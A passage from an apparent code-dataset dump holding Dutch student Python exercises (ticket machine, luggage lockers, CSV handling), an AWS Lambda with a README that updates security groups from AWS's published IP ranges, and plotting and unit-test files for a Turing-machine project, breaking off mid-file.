\"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1741,\n \"license_type\": \"no_license\",\n \"max_line_length\": 100,\n \"num_lines\": 43,\n \"path\": \"/Opdrachten/Final Assignment NS-kaartautomaat.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"stations = [\\\"Schagen\\\", \\\"Heerhugowaard\\\", \\\"Alkmaar\\\", \\\"Castricum\\\", \\\"Zaandam\\\",\\n \\\"Amsterdam\\\" \\\"Sloterdijk\\\", \\\"Amsterdam Centraal\\\", \\\"Amsterdam Amstel\\\", \\\"Utrecht Centraal\\\",\\n \\\"’s-Hertogenbosch\\\", \\\"Eindhoven\\\", \\\"Weert\\\", \\\"Roermond\\\", \\\"Sittard\\\", \\\"Maastricht\\\"]\\n\\n\\ndef inlezen_beginstation(stations):\\n while True:\\n beginstation = input(\\\"Wat is je beginstation?: \\\")\\n if beginstation in stations:\\n break\\n return beginstation\\n\\ndef inlezen_eindstation(stations, beginstation):\\n while True:\\n eindstation = input(\\\"Wat is je eindstation?: \\\")\\n eindIndex = stations.index(eindstation)\\n beginIndex = stations.index(beginstation)\\n if eindstation in stations and eindIndex > beginIndex:\\n break\\n else:\\n print(\\\"Dit station ligt niet op de route\\\")\\n return eindstation\\n\\n\\ndef omroepen_reis(stations, beginstation, eindstation):\\n beginRangnummer = stations.index(beginstation) + 1\\n eindRangnummer = stations.index(eindstation) + 1\\n print(\\\"Het beginstation\\\", beginstation, \\\"is het\\\", beginRangnummer,\\\"e station in het traject.\\\", )\\n print(\\\"Het eindstation\\\", eindstation,\\\"is het\\\", eindRangnummer, \\\"e station in het traject.\\\")\\n print(\\\"De afstand bedraagt\\\",eindRangnummer - beginRangnummer ,\\\"station(s).\\\")\\n print(\\\"De prijs van het kaartje is\\\",(eindRangnummer - beginRangnummer)*5,\\\"euro.\\\\n\\\")\\n print(\\\"Jij stapt in de trein in:\\\", beginstation,)\\n for x in stations[beginRangnummer:stations.index(eindstation)]:\\n print(\\\"-\\\",x)\\n print(\\\"Jij stapt uit in:\\\", eindstation)\\n return\\n\\n\\n\\n\\nbeginstation = inlezen_beginstation(stations)\\neindstation = inlezen_eindstation(stations, beginstation)\\nomroepen_reis(stations, beginstation, eindstation)\\n\"\n },\n {\n \"alpha_fraction\": 0.6487804651260376,\n \"alphanum_fraction\": 0.6487804651260376,\n \"avg_line_length\": 33,\n \"blob_id\": \"0b12975d4bc3aba1f219708d7f4c2e6626beb81b\",\n \"content_id\": \"fea5eca302deacbe6c26e70e6e6f019da46d52ca\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 205,\n \"license_type\": \"no_license\",\n \"max_line_length\": 86,\n \"num_lines\": 6,\n \"path\": \"/Opdrachten/1.3. input output.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"uurloon = float(input('Wat verdien je per uur: '))\\naantalUur = int(input(\\\"Hoeveel uur heb je gewerkt: \\\"))\\n\\nx = str(aantalUur) + (\\\" uur werken levert \\\") + str(uurloon * aantalUur) + (\\\" euro op\\\")\\n\\nprint(x)\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6549295783042908,\n \"alphanum_fraction\": 0.672535240650177,\n \"avg_line_length\": 19.071428298950195,\n \"blob_id\": \"9b8377aabd81b06fe84c2f4905328989864e9fe6\",\n \"content_id\": \"5e2689b98869968111a3ca8b41ce3a47629e06a6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 284,\n \"license_type\": \"no_license\",\n \"max_line_length\": 44,\n \"num_lines\": 14,\n \"path\": \"/Opdrachten/5.0 Functie met list-parameter en for-loop.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def kwadraten_som(grondgetallen):\\n return sum(grondgetallen)\\n\\n\\ngrondgetallen = []\\n\\nfor even in range(0, 5):\\n nummers = int((input('Geef nummers: ')))\\n if nummers % 2 == 0:\\n grondgetallen.append(nummers**2)\\n\\n\\nprint(grondgetallen)\\nprint(kwadraten_som(grondgetallen))\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.47699758410453796,\n \"alphanum_fraction\": 0.48426151275634766,\n \"avg_line_length\": 23.352941513061523,\n \"blob_id\": \"457bd9289422a3c3c86dacf09b429423f604a130\",\n \"content_id\": \"5c29d10bce91e2d352a7d006313d822960e31468\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 413,\n \"license_type\": \"no_license\",\n \"max_line_length\": 63,\n \"num_lines\": 17,\n \"path\": \"/Opdrachten/7.5. Dict & functions.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"dict = {}\\ndef namen():\\n while True:\\n deNamen = input(\\\"Volgende naam: \\\")\\n if deNamen == \\\"\\\":\\n break\\n elif deNamen not in dict:\\n dict[deNamen] = 1\\n else:\\n dict[deNamen] += 1\\nnamen()\\n\\nfor x in dict:\\n if dict[x] == 1:\\n print(\\\"Er is \\\", dict[x], \\\"student met de naam \\\", x)\\n else:\\n print(\\\"Er zijn \\\", dict[x], \\\"studenten met de naam \\\", x)\"\n },\n {\n \"alpha_fraction\": 0.5963302850723267,\n \"alphanum_fraction\": 0.6100917458534241,\n \"avg_line_length\": 26,\n \"blob_id\": \"ecde604a5b2daec95a2bca598c0cb189a2e3d686\",\n \"content_id\": \"6140ff3e50fd27a1134342c189d10b5e88da16c9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 218,\n \"license_type\": \"no_license\",\n \"max_line_length\": 55,\n \"num_lines\": 8,\n \"path\": \"/Opdrachten/3.0 functie met if.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def lang_genoeg(lengte):\\n if lengte >= str('120'):\\n print('Je bent lang genoeg voor de attractie!')\\n else:\\n print('Sorry, je bent te klein')\\n\\n\\ngeefLengte = lang_genoeg (input('Geef je lengte: '))\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6544502377510071,\n \"alphanum_fraction\": 0.6596858501434326,\n \"avg_line_length\": 32.260868072509766,\n \"blob_id\": \"eff0e8509693093d1203b1ea4a3516fe9a69db51\",\n \"content_id\": \"9a81d056487353d264ad91aa25920a2e7e679abd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 764,\n \"license_type\": \"no_license\",\n \"max_line_length\": 102,\n \"num_lines\": 23,\n \"path\": \"/Opdrachten/8.4. CSV-files met headers.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import csv\\n\\n\\nartikelPrijs = 0\\nartikelNaam = ''\\nvoorraad = 0\\nproductnummer = 0\\ntotalVoorraad = 0\\nwith open('producten.csv','r') as productenFile:\\n reader = csv.DictReader(productenFile, delimiter=';')\\n for row in reader:\\n totalVoorraad += int(row['voorraad'])\\n if float(row['prijs']) > float(artikelPrijs):\\n artikelPrijs = row['prijs']\\n artikelNaam = row['naam']\\n elif int(voorraad) < int(row['voorraad']):\\n voorraad = int(voorraad) + int(row['voorraad'])\\n productnummer = row['artikelnummer']\\n\\n\\nprint(\\\"Het duurste artikel is\\\", artikelNaam, 'en die kost', artikelPrijs)\\nprint(\\\"Er zijn slechts\\\", voorraad, \\\"exemplaren in voorraad van het product met nummer\\\", productnummer)\\nprint(totalVoorraad)\"\n },\n {\n \"alpha_fraction\": 0.6043956279754639,\n \"alphanum_fraction\": 0.6087912321090698,\n \"avg_line_length\": 18.69565200805664,\n \"blob_id\": \"a6365ebb266aa23d8942da0e2cf70cd8cdffcdba\",\n \"content_id\": \"a194be26b833b246633e504caedff0b21b63bd5d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 455,\n \"license_type\": \"no_license\",\n \"max_line_length\": 48,\n \"num_lines\": 23,\n \"path\": \"/Opdrachten/7.4. File & dict.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"file = open(\\\"ticker.txt\\\",\\\"r\\\")\\n\\ndict = {}\\n\\ndef ticker():\\n for lines in file:\\n bedrijf = str(lines.split(\\\":\\\")[0])\\n symbool = str(lines.split(\\\":\\\")[1])\\n dict[bedrijf] = symbool\\n\\nticker()\\n\\nwhile True:\\n enterCompany = input(\\\"Enter company name: \\\")\\n company = dict[enterCompany]\\n print(\\\"Ticker symbool:\\\", company)\\n break\\n\\n\\n\\nenterSymbool = input(\\\"Enter Ticker Symbool: \\\")\\nif enterSymbool in dict.values():\\n print(\\\"Check\\\")\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6016677618026733,\n \"alphanum_fraction\": 0.6234765648841858,\n \"avg_line_length\": 29.58823585510254,\n \"blob_id\": \"e89914dd4d2bca189e857bbdd2e9591776ae1f25\",\n \"content_id\": \"2126a9e6ee53220231cb691b932e7cf040f5e4ef\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1559,\n \"license_type\": \"no_license\",\n \"max_line_length\": 127,\n \"num_lines\": 51,\n \"path\": \"/Opdrachten/Final assignment Bagagekluizen.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"print(\\\"1: Ik wil weten hoeveel kluizen nog vrij zijn \\\\n2: Ik wil een nieuwe kluis \\\\n3: Ik wil even iets uit mijn kluis halen \\\")\\n\\nkeuze = (int((input(\\\"Kies uit optie 1, 2 of 3: \\\"))))\\n\\n\\nfile = open(\\\"kluizen.txt\\\",\\\"r+\\\")\\n\\ndef toon_aantal_kluizen_vrij():\\n lines = sum(1 for line in file)\\n linesRemaining = 12 - lines\\n print(\\\"Er zijn nog:\\\", linesRemaining, \\\"kluizen vrij\\\")\\n\\n\\ndef nieuwe_kluis():\\n kluisnummers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]\\n for lines in file:\\n deKluisnummers = int(lines.split(\\\";\\\")[0])\\n if deKluisnummers in kluisnummers:\\n kluisnummers.remove(deKluisnummers)\\n if len(kluisnummers) > 0:\\n wachtwoord = (input(\\\"Geef een code voor uw kluisje: \\\"))\\n file.write((str(kluisnummers[0]) + \\\";\\\" + str(wachtwoord) + \\\"\\\\n\\\"))\\n print(\\\"u heeft kluisnummer: \\\" + str(kluisnummers[0]))\\n elif len(kluisnummers) == 0:\\n print(\\\"Er zijn geen kluisjes meer beschikbaar\\\")\\n\\ndef kluis_openen():\\n geefKluisnummer = input(\\\"Geef uw kluisnummer: \\\")\\n geefWachtwoord = input(\\\"Geef uw wachtwoord: \\\")\\n for lines in file:\\n jeKluisnummer = lines.split(\\\";\\\")[0]\\n jeWachtwoord = lines.split(\\\";\\\")[1]\\n if geefKluisnummer in jeKluisnummer and geefWachtwoord in jeWachtwoord:\\n print(\\\"Uw kluisje is geopent\\\")\\n break\\n else:\\n print(\\\"combinatie incorrect\\\")\\n\\n\\n\\nif keuze == 1:\\n toon_aantal_kluizen_vrij()\\nelif keuze == 2:\\n nieuwe_kluis()\\nelif keuze == 3:\\n kluis_openen()\\nelse:\\n print(\\\"ERROR Deze optie is niet beschikbaar\\\")\\n\\n\\nfile.close()\"\n },\n {\n \"alpha_fraction\": 0.6194690465927124,\n \"alphanum_fraction\": 0.6194690465927124,\n \"avg_line_length\": 21.200000762939453,\n \"blob_id\": \"ccb5e26c0b722816de3f9baff48e34a9144ebc27\",\n \"content_id\": \"3e02d3026069838d78cd1423a06116dd27e5e27d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 113,\n \"license_type\": \"no_license\",\n \"max_line_length\": 50,\n \"num_lines\": 5,\n \"path\": \"/Opdrachten/6. For, If & vowels.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"s = \\\"Guido van Rossum heeft programmeertaal Python bedacht.\\\"\\n\\nfor even in s:\\n if even in 'aeiou':\\n print(even)\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.60502690076828,\n \"alphanum_fraction\": 0.60502690076828,\n \"avg_line_length\": 31.764705657958984,\n \"blob_id\": \"e87c147326acdc4d6bf06374c0ac6b02a9e03532\",\n \"content_id\": \"a813cefcda2b7ed6ffdd2d9f35d927b94c492775\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 557,\n \"license_type\": \"no_license\",\n \"max_line_length\": 63,\n \"num_lines\": 17,\n \"path\": \"/Opdrachten/8.2 CSV-files schrijven.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import datetime\\nimport csv\\nmydate = datetime.datetime.now()\\nwith open('inloggers.csv', 'w', newline='') as bestand:\\n writer = csv.writer(bestand, delimiter=';')\\n writer.writerow(('datum','naam','voorl','gbdatum','email'))\\n\\n\\n while True:\\n naam = input(\\\"Wat is je achternaam? \\\")\\n if naam == \\\"einde\\\":\\n break\\n voorl = input(\\\"Wat zijn je voorletters? \\\")\\n gbdatum = input(\\\"Wat is je geboortedatum? \\\")\\n email = input(\\\"Wat is je e-mail adres? \\\")\\n\\n writer.writerow((mydate, naam, voorl, gbdatum, email))\\n\"\n },\n {\n \"alpha_fraction\": 0.6103448271751404,\n \"alphanum_fraction\": 0.6103448271751404,\n \"avg_line_length\": 25.454545974731445,\n \"blob_id\": \"4d8ea926318b24b926028bab1a703470f0b706d1\",\n \"content_id\": \"f7d2558d83361202cb00b1772aec8732498db9d6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 290,\n \"license_type\": \"no_license\",\n \"max_line_length\": 48,\n \"num_lines\": 11,\n \"path\": \"/Opdrachten/4. Files schrijven.py\",\n \"repo_name\": \"KristiaanSondaar/Programming2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import datetime\\ndef strftime():\\n vandaag = datetime.datetime.today()\\n s = vandaag.strftime(\\\"%a %d %b %Y %H:%M:%S\\\")\\n return (s)\\n\\ndatum = strftime()\\nnaam = input(\\\"Naam hardloper: \\\")\\nrunners = open(\\\"Hardlopers.txt\\\", \\\"a+\\\")\\nrunners.write(datum + \\\" \\\" + naam + \\\" \\\" + \\\"\\\\n\\\")\\nrunners.close()\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":31,"string":"31"}}},{"rowIdx":2978396,"cells":{"repo_name":{"kind":"string","value":"marekq/aws-ip-ranges"},"repo_url":{"kind":"string","value":"https://github.com/marekq/aws-ip-ranges"},"snapshot_id":{"kind":"string","value":"9561464735b7468b833e6619ec5ddaf549b7215b"},"revision_id":{"kind":"string","value":"2dcd25a9eb0bc84be39e199827f0c6df35ced69a"},"directory_id":{"kind":"string","value":"f53addfaaefaaa2cc8a0b200a69e07bdf25f3e8e"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-04-12T03:59:46.060831","string":"2020-04-12T03:59:46.060831"},"revision_date":{"kind":"timestamp","value":"2019-05-26T23:22:05","string":"2019-05-26T23:22:05"},"committer_date":{"kind":"timestamp","value":"2019-05-26T23:22:05","string":"2019-05-26T23:22:05"},"github_id":{"kind":"number","value":162281495,"string":"162,281,495"},"star_events_count":{"kind":"number","value":4,"string":"4"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5998824834823608,"alphanum_fraction":0.6139835715293884,"avg_line_length":25.200000762939453,"blob_id":"91fddef7c70ec35165f062908bfeaad3daa7777d","content_id":"41ab522a527f4d526123697c1788581da9cb7ff4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1702,"license_type":"no_license","max_line_length":131,"num_lines":65,"path":"/lambda_function.py","repo_name":"marekq/aws-ip-ranges","src_encoding":"UTF-8","text":"import boto3, json, os\nfrom botocore.vendored import requests\nfrom netaddr import *\n\nec2 \t\t\t= boto3.client('ec2')\nport\t\t\t\t= 443\nproto\t\t\t\t= 'tcp'\n\ndef main(sgname, sgjson):\n\tc \t= int(0)\n\ts1\t\t\t= []\n\ts2\t\t\t= []\n\tsg_list \t= []\n\tsupernet\t= []\n\tjson_list\t= []\n\tsg_id\t\t= ''\n\n\ttry:\n\t\tsg \t= ec2.describe_security_groups(Filters=[{'Name': 'tag:dnsservice', 'Values': [sgname]}])['SecurityGroups']\n\n\texcept:\n\t\tsg\t\t= []\n\n\tfor z in sg:\n\t\tsg_id\t= z['GroupId']\n\t\tfor a in z['IpPermissions']:\n\t\t\tfor b in a['IpRanges']:\n\t\t\t\tsg_list.append(b['CidrIp'])\n\t\t\t\t\n\tfor y in json.loads(sgjson.text)['prefixes']:\n\t\tif y['service'] == sgname:\n\t\t\tjson_list.append(y['ip_prefix'])\n\t\t\tc += int(1)\n\n\tfor y in IPSet(json_list).iter_cidrs():\n\t\ts1.append(str(y))\n\t\t\n\ts2\t= cidr_merge(s1)\n\tfor y in s2:\n\t\tsupernet.append(str(y))\n\n\tprint('{0: <20}'.format(sgname)+' \\t '+str(len(json_list))+' sgs reduced to '+str(len(supernet))+' sgs')\n\n\tif sg_id != '':\n\t\tfor sg in sg_list:\n\t\t\tif sg not in supernet:\n\t\t\t\tec2.revoke_security_group_ingress(GroupId = sg_id, IpProtocol = proto, CidrIp = sg, FromPort = int(port), ToPort = int(port))\n\t\t\t\tprint(sg_id+' removing '+sg)\n\t\t\n\t\tfor y in supernet:\t\t\n\t\t\tif y not in sg_list:\n\t\t\t\tec2.authorize_security_group_ingress(GroupId = sg_id, IpProtocol = proto, CidrIp = y, FromPort = int(port), ToPort = int(port))\n\t\t\t\tprint(sg_id+' adding '+y)\n\t\n\t\tprint('{0: <20}'.format(sgname)+' \\t '+str(len(supernet)), 'items in '+str(sg_id))\n\ndef lambda_handler(event, context):\n\tserv\t= []\n\tsgjson\t= requests.get('https://ip-ranges.amazonaws.com/ip-ranges.json')\n\tfor y in json.loads(sgjson.text)['prefixes']:\n\t\tif y['service'] not in serv:\n\t\t\tserv.append(y['service'])\n\n\tfor s in serv:\n\t\tmain(s, sgjson)"},{"alpha_fraction":0.7693677544593811,"alphanum_fraction":0.7773820161819458,"avg_line_length":43.939998626708984,"blob_id":"2e0ea96b1246a692ce51dd48de7b906722214815","content_id":"c370c57e48e1a6c0ee18ce68710068d6954608db","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":2246,"license_type":"no_license","max_line_length":322,"num_lines":50,"path":"/readme.md","repo_name":"marekq/aws-ip-ranges","src_encoding":"UTF-8","text":"aws-ip-ranges\n=============\n\nA Lambda function to automatically create security groups for the address ranges of CloudFront, Route 53 Healthchecks and other AWS services. This can be helpful in case you want to grant access to your EC2 instances from only one of these services and want to have direct control over which security groups are updated. \n\nSince the IP address ranges change on regular basis and I'm leveraging several of these services, I found this the simplest way to manage security groups. By default it runs once per hour by default and can whitelist IP ranges for any of the following AWS services (as of December 2018);\n\n- AMAZON\n- AMAZON_CONNECT\n- CLOUD9\n- CLOUDFRONT\n- CODEBUILD\n- EC2\n- GLOBALACCELERATOR\n- ROUTE53\n- ROUTE53_HEALTHCHECKS\n- S3\n\nThe function retrieves the AWS IP ranges from the official JSON document containing updates; https://ip-ranges.amazonaws.com/ip-ranges.json .\n\nThe function can be considered an alternative to the SNS based function available on the CloudFront GitHub; https://github.com/aws-samples/aws-cloudfront-samples/tree/master/update_security_groups_lambda \n\nInstallation\n------------\n\nUse the attached CloudFormation template to deploy the function to Lambda. Next, you should tag all the security groups which should be automatically refreshed with one of the service names mentioned in the AWS JSON file; \n\n\n\n\n\nWhen you now invoke the Lambda function, the logs should display the address ranges that are added or removed from the security groups;\n\n\n\n\n\nTo-do list\n---------\n\n- Add IPv6 support for security groups, currently only IPv4 ranges will be updated. \n- Integrate SNS as a trigger for the Lambda so that changes in IP ranges can be detected faster. \n- Add a simpler way to change the security group port and add UDP support.\n- Add support for whitelisting PrivateLink connections available to in the VPC. \n- Add support for whitelisting custom ranges other than from AWS (i.e. a companies private/public IP ranges).\n\nContact\n-------\n\nIn case of questions or bugs, please raise an issue or reach out to @marekq!"}],"string":"[\n {\n \"alpha_fraction\": 0.5998824834823608,\n \"alphanum_fraction\": 0.6139835715293884,\n \"avg_line_length\": 25.200000762939453,\n \"blob_id\": \"91fddef7c70ec35165f062908bfeaad3daa7777d\",\n \"content_id\": \"41ab522a527f4d526123697c1788581da9cb7ff4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1702,\n \"license_type\": \"no_license\",\n \"max_line_length\": 131,\n \"num_lines\": 65,\n \"path\": \"/lambda_function.py\",\n \"repo_name\": \"marekq/aws-ip-ranges\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import boto3, json, os\\nfrom botocore.vendored import requests\\nfrom netaddr import *\\n\\nec2 \\t\\t\\t= boto3.client('ec2')\\nport\\t\\t\\t\\t= 443\\nproto\\t\\t\\t\\t= 'tcp'\\n\\ndef main(sgname, sgjson):\\n\\tc \\t= int(0)\\n\\ts1\\t\\t\\t= []\\n\\ts2\\t\\t\\t= []\\n\\tsg_list \\t= []\\n\\tsupernet\\t= []\\n\\tjson_list\\t= []\\n\\tsg_id\\t\\t= ''\\n\\n\\ttry:\\n\\t\\tsg \\t= ec2.describe_security_groups(Filters=[{'Name': 'tag:dnsservice', 'Values': [sgname]}])['SecurityGroups']\\n\\n\\texcept:\\n\\t\\tsg\\t\\t= []\\n\\n\\tfor z in sg:\\n\\t\\tsg_id\\t= z['GroupId']\\n\\t\\tfor a in z['IpPermissions']:\\n\\t\\t\\tfor b in a['IpRanges']:\\n\\t\\t\\t\\tsg_list.append(b['CidrIp'])\\n\\t\\t\\t\\t\\n\\tfor y in json.loads(sgjson.text)['prefixes']:\\n\\t\\tif y['service'] == sgname:\\n\\t\\t\\tjson_list.append(y['ip_prefix'])\\n\\t\\t\\tc += int(1)\\n\\n\\tfor y in IPSet(json_list).iter_cidrs():\\n\\t\\ts1.append(str(y))\\n\\t\\t\\n\\ts2\\t= cidr_merge(s1)\\n\\tfor y in s2:\\n\\t\\tsupernet.append(str(y))\\n\\n\\tprint('{0: <20}'.format(sgname)+' \\\\t '+str(len(json_list))+' sgs reduced to '+str(len(supernet))+' sgs')\\n\\n\\tif sg_id != '':\\n\\t\\tfor sg in sg_list:\\n\\t\\t\\tif sg not in supernet:\\n\\t\\t\\t\\tec2.revoke_security_group_ingress(GroupId = sg_id, IpProtocol = proto, CidrIp = sg, FromPort = int(port), ToPort = int(port))\\n\\t\\t\\t\\tprint(sg_id+' removing '+sg)\\n\\t\\t\\n\\t\\tfor y in supernet:\\t\\t\\n\\t\\t\\tif y not in sg_list:\\n\\t\\t\\t\\tec2.authorize_security_group_ingress(GroupId = sg_id, IpProtocol = proto, CidrIp = y, FromPort = int(port), ToPort = int(port))\\n\\t\\t\\t\\tprint(sg_id+' adding '+y)\\n\\t\\n\\t\\tprint('{0: <20}'.format(sgname)+' \\\\t '+str(len(supernet)), 'items in '+str(sg_id))\\n\\ndef lambda_handler(event, context):\\n\\tserv\\t= []\\n\\tsgjson\\t= requests.get('https://ip-ranges.amazonaws.com/ip-ranges.json')\\n\\tfor y in json.loads(sgjson.text)['prefixes']:\\n\\t\\tif y['service'] not in serv:\\n\\t\\t\\tserv.append(y['service'])\\n\\n\\tfor s in serv:\\n\\t\\tmain(s, sgjson)\"\n },\n {\n \"alpha_fraction\": 0.7693677544593811,\n \"alphanum_fraction\": 0.7773820161819458,\n \"avg_line_length\": 43.939998626708984,\n \"blob_id\": \"2e0ea96b1246a692ce51dd48de7b906722214815\",\n \"content_id\": \"c370c57e48e1a6c0ee18ce68710068d6954608db\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 2246,\n \"license_type\": \"no_license\",\n \"max_line_length\": 322,\n \"num_lines\": 50,\n \"path\": \"/readme.md\",\n \"repo_name\": \"marekq/aws-ip-ranges\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"aws-ip-ranges\\n=============\\n\\nA Lambda function to automatically create security groups for the address ranges of CloudFront, Route 53 Healthchecks and other AWS services. This can be helpful in case you want to grant access to your EC2 instances from only one of these services and want to have direct control over which security groups are updated. \\n\\nSince the IP address ranges change on regular basis and I'm leveraging several of these services, I found this the simplest way to manage security groups. By default it runs once per hour by default and can whitelist IP ranges for any of the following AWS services (as of December 2018);\\n\\n- AMAZON\\n- AMAZON_CONNECT\\n- CLOUD9\\n- CLOUDFRONT\\n- CODEBUILD\\n- EC2\\n- GLOBALACCELERATOR\\n- ROUTE53\\n- ROUTE53_HEALTHCHECKS\\n- S3\\n\\nThe function retrieves the AWS IP ranges from the official JSON document containing updates; https://ip-ranges.amazonaws.com/ip-ranges.json .\\n\\nThe function can be considered an alternative to the SNS based function available on the CloudFront GitHub; https://github.com/aws-samples/aws-cloudfront-samples/tree/master/update_security_groups_lambda \\n\\nInstallation\\n------------\\n\\nUse the attached CloudFormation template to deploy the function to Lambda. Next, you should tag all the security groups which should be automatically refreshed with one of the service names mentioned in the AWS JSON file; \\n\\n\\n\\n\\n\\nWhen you now invoke the Lambda function, the logs should display the address ranges that are added or removed from the security groups;\\n\\n\\n\\n\\n\\nTo-do list\\n---------\\n\\n- Add IPv6 support for security groups, currently only IPv4 ranges will be updated. \\n- Integrate SNS as a trigger for the Lambda so that changes in IP ranges can be detected faster. \\n- Add a simpler way to change the security group port and add UDP support.\\n- Add support for whitelisting PrivateLink connections available to in the VPC. \\n- Add support for whitelisting custom ranges other than from AWS (i.e. a companies private/public IP ranges).\\n\\nContact\\n-------\\n\\nIn case of questions or bugs, please raise an issue or reach out to @marekq!\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978397,"cells":{"repo_name":{"kind":"string","value":"WarleiCanuto/MT"},"repo_url":{"kind":"string","value":"https://github.com/WarleiCanuto/MT"},"snapshot_id":{"kind":"string","value":"d51fa38b2a0fe42e692b9445f287ab42f4177619"},"revision_id":{"kind":"string","value":"b827dec4686fa6316011fb973972ac2891bc6848"},"directory_id":{"kind":"string","value":"7506d324b1462e63aecf8863df09d43679d0ea34"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2023-05-10T09:51:02.390960","string":"2023-05-10T09:51:02.390960"},"revision_date":{"kind":"timestamp","value":"2021-05-28T13:12:35","string":"2021-05-28T13:12:35"},"committer_date":{"kind":"timestamp","value":"2021-05-28T13:12:35","string":"2021-05-28T13:12:35"},"github_id":{"kind":"number","value":371117562,"string":"371,117,562"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6765432357788086,"alphanum_fraction":0.7160493731498718,"avg_line_length":29.30769157409668,"blob_id":"40761107ec2ae3060dea4927715d71b28c07be45","content_id":"9fa473c62e45654e14777720e16b97eae0e00f07","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":409,"license_type":"no_license","max_line_length":56,"num_lines":13,"path":"/graf.py","repo_name":"WarleiCanuto/MT","src_encoding":"UTF-8","text":"from matplotlib import pyplot\r\nfrom MT import plot\r\n\r\ndata_it, data_tam, data_plvrs, data0, data1 = plot()\r\nprint(data_it)\r\nprint(data_tam)\r\npyplot.scatter(data_tam, data_it)\r\n#pyplot.plot(data0, 'r') #Numero de 0s VERMELHO (*10000)\r\n#pyplot.plot(data1, 'g') #Numero de 1s VERDE (*10000)\r\npyplot.title('Gráfico de Dispersão')\r\npyplot.ylabel(\"Iterações\")\r\npyplot.xlabel(\"Tamanho da Palavra\")\r\npyplot.show()"},{"alpha_fraction":0.6418439745903015,"alphanum_fraction":0.6666666865348816,"avg_line_length":26.299999237060547,"blob_id":"f0493e205f21b63737887eb8c6a60d8ed5b2804b","content_id":"6efc8d761e2b1cf5dea58c066fe402279330dbf5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":568,"license_type":"no_license","max_line_length":78,"num_lines":20,"path":"/unitt.py","repo_name":"WarleiCanuto/MT","src_encoding":"UTF-8","text":"import unittest\r\nimport random\r\nfrom MT import aceitacao\r\npalavras_teste = []\r\n\r\n#palavras_teste.append('1100') Reprovada\r\n#Quando o numero de 1s é maior ou igual a 6 o tempo de execução é alto\r\n\r\nfor p in range(20):\r\n palavras_teste.append('0'*random.randint(1, 5) + '1'*random.randint(1, 5))\r\nprint(palavras_teste)\r\n\r\nclass FuncTeste(unittest.TestCase):\r\n def 